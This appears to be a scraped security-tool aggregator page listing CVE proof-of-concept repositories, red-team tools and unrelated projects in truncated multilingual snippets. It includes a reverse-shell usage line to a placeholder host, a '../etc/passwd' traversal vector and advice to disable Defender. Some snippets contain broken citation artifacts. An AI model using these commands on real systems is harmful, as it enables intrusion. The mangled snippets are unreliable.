zmap

ZMap: インターネットスキャナー ZMapは、インターネット全体のネットワーク調査のために設計された高速なステートレス単一パケットネットワークスキャナーです。一般的なギガビットイーサネット接続のデスクトップコンピュータでは、ZMapは単一ポート上のIPv4アドレス空間全体を45分未満でスキャンできます。例えば、潜在的なSMTPサーバーを見つけるために、ポート25のすべてのIPv4アドレスにTCP SYNパケットを送信します。10ギガビットイーサネット接続とnetmapまたはPFRINGを使用すると、ZMapはIPv4アドレス空間を5分未満でスキャンできます。...

zmap

ZMap: The Internet Scanner ZMap is a fast stateless single packet network scanner designed for Internet-wide network surveys. On a typical desktop computer with a gigabit Ethernet connection, ZMap is capable of scanning the entire public IPv4 address space on a single port in under 45 minutes. Fo...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Contact Form 7用ドラッグ＆ドロップ複数ファイルアップロード 説明: drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9を介した任意のファイルアップロードにより、.pharファイルのアップロードが可能となり、Apache+modphpでリモートコード実行に至る :contentReferenceoaicite:29index=29. CVSS v3.1: 8.1 高 :contentReferenceoaicite:30index=30 パッチ:...

CVE-2021-41773

用法 root@kitploit: usage: main.py -h -f FILE -s N --timeout SECONDS optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing target URLs one per line -s N, --semaphore N Concurrent requests default: 10 --timeout SECONDS Request timeout in seconds default:...

wordpress_DoS

WordPress 4.9.8 存在拒绝服务攻击漏洞。 附加信息 我们发现 WordPress 版本 4.9.8 存在拒绝服务 DoS 漏洞。未经身份验证的远程用户可以对易受攻击的页面执行一系列请求，导致服务器上的处理、交换和磁盘 I/O 增加。这种处理增加使得 Web 应用程序不可用。 https://127.0.0.1/wp-admin/install.php root@kitploit: 漏洞类型 拒绝服务 DoS 产品供应商 WordPress 研究人员 Guilherme Rubert - XLabs Security 受影响产品代码库 WordPress v. 4.9.8 参...

faraday-client

此项目已弃用，请改用 Faraday-Cli ！！！ v1.1.0 是一次交接版本，仅将访问 Faraday 的方式更新为使用 API v3（v2 也将被弃用）。 ================== Faraday GTK Client .. image:: https://img.shields.io/pypi/v/faradayclient.svg :target: https://pypi.python.org/pypi/faradayclient .. image::...

Ledger

Ledger — 操作变更追踪攻击者脚本 Ledger 是一个 Cobalt Strike 攻击者脚本，用于追踪每次交战期间所做的操作变更。您启用的每个服务、打开的每个防火墙规则、创建的每个账户或修改的每个注册表项，都会被记录并附有风险评分、操作者归属和清理状态。在交战结束时，您将获得一份完整的审计追踪，显示哪些内容已被更改，哪些仍需清理。 为何需要 红队交战会留下痕迹。服务被启用，账户被创建，防火墙规则被打开，注册表项被修改。如果没有结构化的日志，这些很容易被遗忘——尤其是在长时间交战或多个操作者同时工作时。 Ledger 为您提供一个运行日志，包含： 每条记录及每台主机的风险评分...

qu1ckdr0p2

...

qu1ckdr0p2

概要 ペイロードやポストエクスプロイト用バイナリをHTTPまたはHTTPSで素早くホスティングします。 OSCP / PNPT や CTF HTB 等 の試験用に設計されています。 プルリクエストやイシュー、その他のコントリビューションは歓迎します。 Qu1ckdr0p2 にはエイリアス機能と検索機能が付属しています。ツールは qu1ckdr0p2-tools リポジトリにあります。デフォルトでは、--https オプションを使用する際に自己署名証明書が生成されます。Webサーバー起動時には tun0 インターフェースが優先され、それ以外の場合は eth0 が使用されます。...

CVE-2024-38063-poc

実際のPoCが公開されています（https://github.com/ynwarcs/CVE-2024-38063）。私のコードにも反映済みです。これはシステムをクラッシュさせる可能性があるため、VMを使用するか、学習目的のみにしてください。コードに変更を加えることでRCEを実現できます。 Usage iface ほとんどの場合、デフォルトで有効になっています。 詳細はCVE-2024-38063-poc.pyを確認してください。...

zirgen

Zirgen 回路コンパイラ Zirgenは、ドメイン固有言語（これも「zirgen」と呼ばれます）用のコンパイラであり、RISC Zero証明システム向けの算術回路を生成します。 ほとんどの場合、RISC ZeroのユーザーはzkAppsをRustで記述し、RISC-V zkVMを使用するべきであり、Zirgenで直接構築するべきではありません。しかし、場合によっては、アプリケーションの一部を算術回路として記述し、証明システムに直接統合してパフォーマンスを向上させることが必要または望ましいことがあります。実際、zkVM回路の次のバージョンはZirgenで記述されています！...

wrongsecrets

OWASP WrongSecrets OWASP WrongSecretsゲームへようこそ！このゲームには、ソフトウェアにシークレットを保存する際の誤った方法 の実例が満載されています。各例はチャレンジとしてまとめられており、さまざまなツールやテクニックを使って解決する必要があります。これらのチャレンジを解くことで、よくあるミスを認識し、自身のシークレット管理戦略を見直す助けとなるでしょう。 67個すべてのチャレンジを解くことはできますか？ Herokuデモ環境でいくつか試してみましょう。 他のチャレンジをプレイしたいですか？以下の設定方法を読んでください。 🚀 クイックスタート...

opa

Open Policy Agent Open Policy Agent OPA es un motor de políticas de propósito general, de código abierto, que permite la aplicación unificada de políticas conscientes del contexto en toda la pila tecnológica. OPA se enorgullece de ser un proyecto graduado en el panorama de la Cloud Native Computi...

opa

Open Policy Agent Open Policy Agent OPA is an open source, general-purpose policy engine that enables unified, context-aware policy enforcement across the entire stack. OPA is proud to be a graduated project in the Cloud Native Computing Foundation CNCF landscape. For details read the CNCF...

CVE-2018-19207

CVE-2018-19207...

cve-2025-14847

MongoBleed: Herramienta de Descubrimiento de Fugas de Memoria CVE-2025-14847 MongoBleed es una herramienta de auditoría de seguridad de alto rendimiento diseñada para detectar y demostrar CVE-2025-14847. Esta vulnerabilidad permite que un atacante remoto no autenticado filtre fragmentos de memori...

CVE-2026-37065

CVE-2026-37065 Veno File Manager 项目 4.4.9 版本存在任意文件删除漏洞。 要利用此漏洞，具有 superadmin 角色的已认证攻击者可以向受影响端点发送特制的 POST 请求，使用 url 参数 remove 来控制要删除的文件。无需用户交互。例如，如果删除了根目录下的 index.php 文件，应用程序将停止运行。 https://github.com/user-attachments/assets/5fcf2bd6-cdb3-4758-8d2d-aa491eaadab3...

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

CVE-2026-23918 - Apache httpd modhttp2 PoC 本仓库包含一个使用 Go 编写的概念验证实现，针对 Apache httpd 中 modhttp2 的预认证内存破坏场景。本仓库中的代码演示了针对易受攻击目标的喷射-触发（spray-and-trigger）方法，旨在用于经授权的安全研究、测试和防御性分析。 概述 该项目聚焦于 CVE-2026-23918 的概念验证利用，并在 exploitpoc.go 中提供了单文件实现。该程序： 构建一个特制的 HTTP 请求负载 对目标服务执行内存喷射活动 发送 HTTP/2 触发序列...

CVE-2024-21182

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDIインジェクション → RCE ラボ Oracle WebLogic ServerのOpaqueReference JNDIインジェクション脆弱性ファミリー（CVE-2024-21182、CVE-2023-21839のパッチバイパス）を再現・検証 し、認証なしのリモートコード実行 に変換する、自己完結型のワンコマンドDockerラボです。 ⚠️ 許可されたセキュリティ研究、教育、パッチ検証のみを目的としています。...

cve-2025-11953-vulnerability-demo

React Native CLI コマンドインジェクションデモ CVE-2025-11953 ⚠️ 脆弱性デモ ⚠️ JFSA-2025-001495618 - React Native CLI における重大なコマンドインジェクション CVE : CVE-2025-11953 CVSS スコア : 9.8 Critical 影響を受けるパッケージ : @react-native-community/cli-server-api 影響を受けるバージョン : 4.8.0, 20.0.0 発見者 : JFrog Security Research Team 脆弱性の概要 React Native...

log4j-cve-2021-44228

Log4j-CVE-2021-44228 检测器扫描器 playbook 使用官方 Red Hat Log4j 检测器脚本验证目标 Linux 主机的 Ansible playbook，用于 Log4Shell（CVE-2021-44228）。 Red Hat 版本 1.3 检测器 2022-01-10。 结果保存在 detectordir（默认：/opt/cve-2021-44228/）下的 txt 文件中。 Ansible Galaxy 角色 代码也可作为 Ansible Galaxy 角色使用：lucab85.ansiblerolelog4shellbash...

react

从 React 内部转储数据 这个工具是一个为 Tampermonkey 编写的快速而粗糙的用户脚本，它会深入任何 React 页面若干层，并搜索用户提供的一个或多个短语。 该工具可以让你轻松地在 DOM 中找到 React 附加大量 JSON 数据的位置。 手动查找这些位置可能非常耗时，因为数据的存储和传递方式在很大程度上取决于开发者、React 的版本以及特定网站的复杂性。 这个用户脚本旨在让这一过程变得容易得多。 下面是该脚本实际使用时的视频。 关于这项工作如何以及为何进行的更多背景信息，请参阅本仓库中其他位置的同名教程。 安装 从本仓库复制用户脚本，并按照 Tampermonke...

Uchihash

Uchihash Uchihash 是一款小工具，可帮助恶意软件分析师节省处理各种嵌入式哈希值的时间，这些哈希值用于多种用途，例如： 动态导入 API（特别是在 shellcode 中） 检查分析工具使用的进程（反分析） 检查 VM 或反病毒/EDR 的产品标识（反分析） 特性 使用标准算法或自定义哈希算法生成哈希值。 生成脚本（IDC、IDAPython、Ghidra）以在分析数据库中注释哈希值。 生成哈希映射并搜索哈希值。 安装 root@kitploit: $ git clone https://github.com/N1ght-W0lf/Uchihash.git $ pip...

Reaper

「💀」 Reaper について Reaper は、BYOVD（Bring Your Own Vulnerable Driver）ドライバーの脆弱性を悪用するために設計された概念実証です。この悪意のある手法は、正規の脆弱なドライバーをターゲットシステムに挿入し、攻撃者がそのドライバーを悪用して悪意のある行動を実行できるようにするものです。 Reaper は、kprocesshacker.sys ドライバーのバージョン 2.8.0.0 に存在する脆弱性を悪用するために特別に設計されており、その弱点を利用してターゲットシステムへの特権アクセスと制御を獲得します。 注記: Reaper は...

DefenderCheck

DefenderCheck 回避策を少しでも容易にするためのクイックツール。 警告: 1.337.157.0 版のDefenderシグネチャ更新以降、DefenderCheck は VirTool:MSIL/BytzChk.C!MTB として分類されています。これを回避するための対策を講じている間の回避策として、DefenderCheck をコンパイルする前に Defender のリアルタイム保護を無効にしてください。 バイナリを入力として受け取り、Microsoft Defender...

CVE-2025-32463

Sudo バージョン 1.9.17 には、chroot オプションを悪用することでローカルユーザーが root アクセスを取得できる深刻な脆弱性 CVE-2025-32463 があり、重大なセキュリティリスクにつながる可能性があります。 ユーザーは、この問題を緩和するためにバージョン 1.9.17p1 以降に更新することを推奨します。 Sudo 1.9.17 の脆弱性の概要:- Sudo バージョン 1.9.17 の脆弱性 CVE-2025-32463 は、ローカルユーザーが root アクセスを取得できる重大な欠陥です。この問題は、Sudo が --chroot -R オプション...

CVE-2020-8165

CVE-2020-8165 Python Exploit これはPython3を使用してCVE-2020-8165を悪用するコードです。このエクスプロイトはrails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主なクレジット 元のCVE詳細：https://vulners.com/cve/CVE-2020-8165...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736：runc 容器逃逸解构 高级紫队协作与宿主机 Root 逃逸取证分析 🛡️ 概述 本仓库包含针对 CVE-2019-5736 的高保真解构与概念验证（PoC）。CVE-2019-5736 是 runc（1.0-rc1 至 1.0-rc6 版本）中的一个严重漏洞。该漏洞允许拥有 root 权限的恶意容器覆盖宿主机上的 runc 二进制文件，从而获得完全的宿主机 root 访问权限 。 漏洞类型：...

CVE-2025-55182-burpscanner

CVE-2025-55182-burpscanner CVE-2025-55182 脆弱性検出に基づく Burp Suite パッシブスキャンプラグイン、JDK 17 を使用 プラグインの使い方： デフォルトで history をスキャン / 右クリックでアクティブスキャン、脆弱性を検出すると自動的に CVE-2025-55182 モジュールに移動します Deduplication（重複排除） スキャン中、同一の脆弱性が重複して記録されるのを防ぐため、本ツールは host + path に基づく一意性判定を採用しています： root@kitploit: 使用 host + path...

AppEnumFix

CVE-2025-31207 を修正する脱獄用ツイーク。このバグにより、サンドボックス化されたアプリケーションがユーザーのインストール済みアプリを列挙できてしまいます。 Apple が iOS 18.5 で修正 22F5053j / iOS 18.5 Beta 3 差分...

CVE-2025-13595

CIBELES AI = 1.10.8 - 未認証任意ファイルアップロード WordPressプラグイン Cibeles AI のバージョン1.10.8以下には、actualizadorgit.php ファイルに未認証のリモートコード実行の脆弱性があります。このファイルはHTTP経由で直接アクセス可能であり、認証や権限チェックがないため、未認証の攻撃者が任意のGitHubリポジトリをダウンロードしてプラグインファイルを上書きし、リモートコード実行が可能になります。 TL;DR エクスプロイト リモート攻撃者が shell.php をアップロードしてリモートコードを実行することを示す...

apxutil

Schneider Electric PLCアーカイブファイルを操作するツール このツールは、Schneider...

CVE-2025-43300

CVE-2025-43300：iOS/macOS DNG图像处理内存损坏 概述 CVE-2025-43300 是苹果图像处理框架中的一个关键内存损坏漏洞，影响 iOS 18.6.1 和 macOS 系统。该漏洞存在于 RawCamera.bundle 中的 JPEG 无损解压缩代码中，由 DNG 文件中 TIFF 元数据与 JPEG 流参数之间的不一致性触发。 漏洞详情 根本原因 漏洞源于 DNG（数字负片）文件中的元数据/流不一致： 1. TIFF 头中的 SamplesPerPixel 元数据 指示预期的颜色分量 2. JPEG 无损流中的 SOF3 分量计数 指定实际数据分量 3...

MalPipe

MalPipe root@kitploit: //\ | | / / \ / | |/ // | ' \ / \ / //\ \ | | / /| | | | / / /,|/ || ./ | || MalPipeは、モジュール型のマルウェア（およびインジケータ）収集・処理フレームワークです。複数のフィードからマルウェア、ドメイン、URL、IPアドレスを取得し、収集したデータを強化して結果をエクスポートするように設計されています。 現時点では、以下のフィードがサポートされています： VirusTotal https://www.virustotal.com MalShare...

BADministration

BADministration BADministrationとは何ですか？ BADministrationは、攻撃者の視点から管理・運用アプリケーションと連携するツールです。オフセク担当者に、これらの非技術的な脆弱性を特定して活用する能力を提供することを目的としています。いつものように、正義のために使い、セキュリティを推進し、アプリケーションの伝播と戦ってください。 python2.7を使っている点は申し訳ありません。多くのベンダーAPIが2.7でしか動作しないことが分かり、また、私にはPythonバージョンを混在させる十分な経験がないためです。 アプリケーションの伝播...

o365enum

Office 365 ユーザー列挙 ActiveSync、Autodiscover、または office.com のログインページを使用して、Office 365 から有効なユーザー名を列挙します。 使用方法 o365enum は、最初のパラメーターとして指定されたファイルからユーザー名を読み取ります。ファイルには1行に1つのユーザー名を記述します。出力はCSV形式で、解析が容易です。有効ステータスは、0（無効なユーザー）、1（有効なユーザー）、2（有効なユーザーかつ有効なパスワード）です。 root@kitploit: python3.6 o365enum.py -h usage:...

o365enum

Office 365 User Enumeration Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover, or office.com login page. Usage o365enum will read usernames from the file provided as first parameter. The file should have one username per line. The output is CSV-based for easier parsing. Val...

testdisk

TestDisk 会检查磁盘的分区和引导扇区。 它在恢复丢失的分区方面非常有用。 它支持： DOS/Windows FAT12、FAT16和FAT32 NTFS（Windows NT/2K/XP） Linux Ext2和Ext3 BeFS（BeOS） BSD disklabel（FreeBSD/OpenBSD/NetBSD） CramFS（压缩文件系统） HFS和HFS+，分层文件系统 JFS，IBM的日志文件系统 Linux Raid Linux Swap（版本1和2） LVM和LVM2，Linux逻辑卷管理器 Netware NSS ReiserFS 3.5、3.6和4 Sun...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC CVE-2022-22965 Spring4Shell 的概念验证，用于 CS4239 G410 报告。改编自此 PoC，以演示未修补与修补后的行为。 运行演示 本仓库中有两个示例程序（已容器化），源代码相同。其中一个使用了存在漏洞的 Spring Boot 版本，另一个使用了已修补的版本。Tomcat 也为此漏洞发布了补丁，但为了隔离 Spring 补丁的影响，本演示中两个程序使用相同的易受攻击的 Tomcat 版本。 运行演示应用： root@kitploit: docker compose build docker compose u...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard CVE-2022-26318 の PoC を、非推奨となった ssl.wrapsocket の代わりに Python3.12 で動作するよう更新しました。 PoC は元々 https://github.com/h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318/blob/main/POCwg.py からのものです。...

OmniSec-Hex

🛡️ OmniSec-Hex OmniSec-Hex 是一个先进、高影响力的网络安全 monorepo，整合了六个强大的客户端安全与主权情报工作台。该生态系统完全在浏览器本地内存环境中运行，并实现绝对数据锁定，提供跨垂直领域的分析能力，涵盖移动端分类、动态 Web 测试、低级二进制分析和神经威胁映射。 🧰 6 个核心模块 📱 1. Anvil Mobile Labs 角色： 移动安全分类与重打包引擎 能力： 对 iOS（.ipa）和 Android（.apk）执行本地二进制解构。解码二进制 AXML/bplist 格式，反编译 Smali 字节码/ARM64 汇编，更新资源清单，并利用纯...

CVE-2019-9053

CVE-2019-9053 --- Python3 元のエクスプロイトソース: https://www.exploit-db.com/exploits/46635 POC ビデオ -- https://attackdefense.com/challengedetailsnoauth?cid=1326 attackdefense...

CVE-2023-40297

CVE-2023-40297 Stakater Forecastle = v1.0.144 在网站组件中允许目录遍历 漏洞类型 目录遍历 产品供应商 Stakater 受影响产品代码库 Forecastle = v1.0.144 受影响组件 受影响组件：URL - https://www.example.com/%5C../etc/passwd 攻击类型 本地 影响：权限提升 true 影响：信息泄露 true 攻击向量 攻击向量： https:///%5C../etc/passwd 攻击者可以通过操纵 URL 来利用目录遍历漏洞，从而越出预期的 Web 目录范围进行访问。通过在 URL...

CVE-2023-34852

このリポジトリには README がありません。...

shiguresh

Shiguresh...

free-interactive-ai-training-materials

所有文件已移至官方项目组织下。欢迎为此仓库贡献： https://github.com/ransomleak/training-security-awareness...

Squalr

Squalr Squalr Official Website Discordチャンネルに参加してください Squalr は、Rustで書かれた高性能な動的解析リバースエンジニアリングツールです。 何よりもまず、Squalrは圧倒的に高速なメモリスキャナーであり、ユーザーが実行中のプロセスのメモリを検索・変更することを可能にします。高速スキャンはマルチスレッドとSIMDの組み合わせにより実現され、数秒で数GBのデータを処理できます。すべてのCPUでサポートされていますが、最大のパフォーマンスを得るにはCPUがSSE、AVX、またはAVX-512をサポートしている必要があります。...

finalrun-agent

finalrun.app • Docs • Blog • Cloud Device Waitlist • Join Slack Community SNSでフォロー finalrun-agent は、自然言語を使用してAndroidおよびiOSアプリをテストするAI駆動のCLIです。プレーンな英語でYAMLにテストを記述すると、FinalRunがエミュレータまたはシミュレータ上でアプリを起動し、AIモデル（Gemini、GPT、Claude）を使用して画面を認識し、タップ、スワイプ、タイピングなどの各ステップを実行して、合格/不合格レポートとビデオおよびデバイスログを生成します。 デモ...

AndroSH

AndroSH - Android上でLinuxディストリビューションを実行（root不要、ADB/Shizuku対応） root権限なしで、Androidデバイス上で完全なLinuxディストリビューションを実行・管理できます。 目次 クイックスタート 機能 対応ディストリビューション 概要 スクリーンショット アーキテクチャ インストール アップデート 使用方法 ユースケース セキュリティとプライバシー コンポーネントとソース トラブルシューティング コントリビューション ライセンス 作者 サポート クイックスタート !Important 始める前に: まず Shizuku...

CVE-2025-56514

CVE-2025-56514: Fioraチャットアプリケーションにおけるクロスサイトスクリプティング（XSS）脆弱性 概要 CVE-2025-56514 として識別されたクロスサイトスクリプティング（XSS）脆弱性は、Fioraチャットアプリケーションバージョン1.0.0に影響を及ぼします。この脆弱性により、認証されたユーザーがグループアバター変更機能を介して悪意のあるSVGファイルをアップロードすることで、別のユーザーのブラウザコンテキストで任意のJavaScriptを実行できるようになります。 脆弱性の詳細 脆弱性の種類 : クロスサイトスクリプティング（XSS） 攻撃の種類 :...